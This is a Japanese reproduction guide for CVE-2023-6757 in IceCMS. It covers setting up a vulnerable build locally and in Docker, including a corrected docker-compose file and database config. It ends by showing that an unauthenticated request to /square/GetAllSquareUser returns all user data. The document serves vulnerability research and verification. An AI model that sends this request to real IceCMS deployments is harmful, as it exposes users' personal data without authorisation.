CVE-2023-6757 の公開日は 2023 年 12 月 13 日です。
この日より前のコミットを探してください:68f3ed1
このバージョンに切り替えて、認証されていない脆弱性が実際に存在することを確認しました。
環境の設定#
データベース
create databse icecmspro;
use icecmspro;
source icecms5.6.sql
フロントエンドの IceWk-vues
npm install
npm run dev
バックエンド
application.yml でデータベース接続を設定します。
pom.xml で依存関係をダウンロードします。
認証されていない脆弱性の検証#
Authorization ヘッダーを付けずに直接アクセスしてください。
GET http://localhost:8181/square/GetAllSquareUser
すべてのユーザーデータが返されますが、これは管理者権限が必要なはずです。
Docker 環境の構築#
最新バージョンでは、Docker で構築するための IceCMS-Docker ファイルが提供されています。
脆弱性のあるバージョンの 8.0.sql ファイルを IceCMS-Docker/icecms-sql/IceCMS.sql に置き換えます。
ただし、このバージョンの.sql ファイルには create database と use database のステートメントが含まれていません。以下の内容を追加してください。
CREATE DATABASE If Not Exists icecms Character Set utf8mb4;
use icecms;
IceCMS-Docker/icecms-sql/setup.sh には Linux の改行が認識されない問題があります。以下のように処理してください。
sed -i 's/\r$//' setup.sh
IceCMS-Docker/icecms-api/ には main.jar ファイルがありませんので、バグのあるバージョンをビルドしてそのパスに配置する必要があります。
docker-compose.yml には 2 つの問題があります。
-
docker-compose.yml が docker network を介して接続していません。
-
icecms-sql のポートマッピングがランダムですが、固定のポート 33060 に変更してください。
修正後の docker-compose.yml は以下のようになります。
version: '3.9'
services:
# データベース
icecms-sql:
build:
context: ./icecms-sql
container_name: icecms-sql
image: icecms-sql
restart: always
ports:
- "33060:3306"
networks:
- icecms-network
# バックエンドサービス
icecms-api:
build:
context: ./icecms-api
container_name: icecms-api
image: icecms-api
restart: always
ports:
- "8181:8181"
networks:
- icecms-network
# フロントエンドUI
icecms-vue:
build:
context: ./icecms-vue
container_name: icecms-vue
image: icecms-vue
restart: always
ports:
- "3000:80"
networks:
- icecms-network
networks:
icecms-network:
driver: bridge
main.jar をパッケージングする前に、application.yml のデータベース設定を変更してください。
spring:
datasource:
url: jdbc:mysql://icecms-sql:3306/icecms?useUnicode=true&useJDBCCompliantTimezoneShift=true&serverTimezone=UTC
username: root
password: 123456789
driver-class-name: com.mysql.cj.jdbc.Driver
IceCMS-Docker に移動してください。
docker-compose up --build
Docker 環境での脆弱性の検証#
curl http://127.0.0.1:8181/square/GetAllSquareUser
参考資料: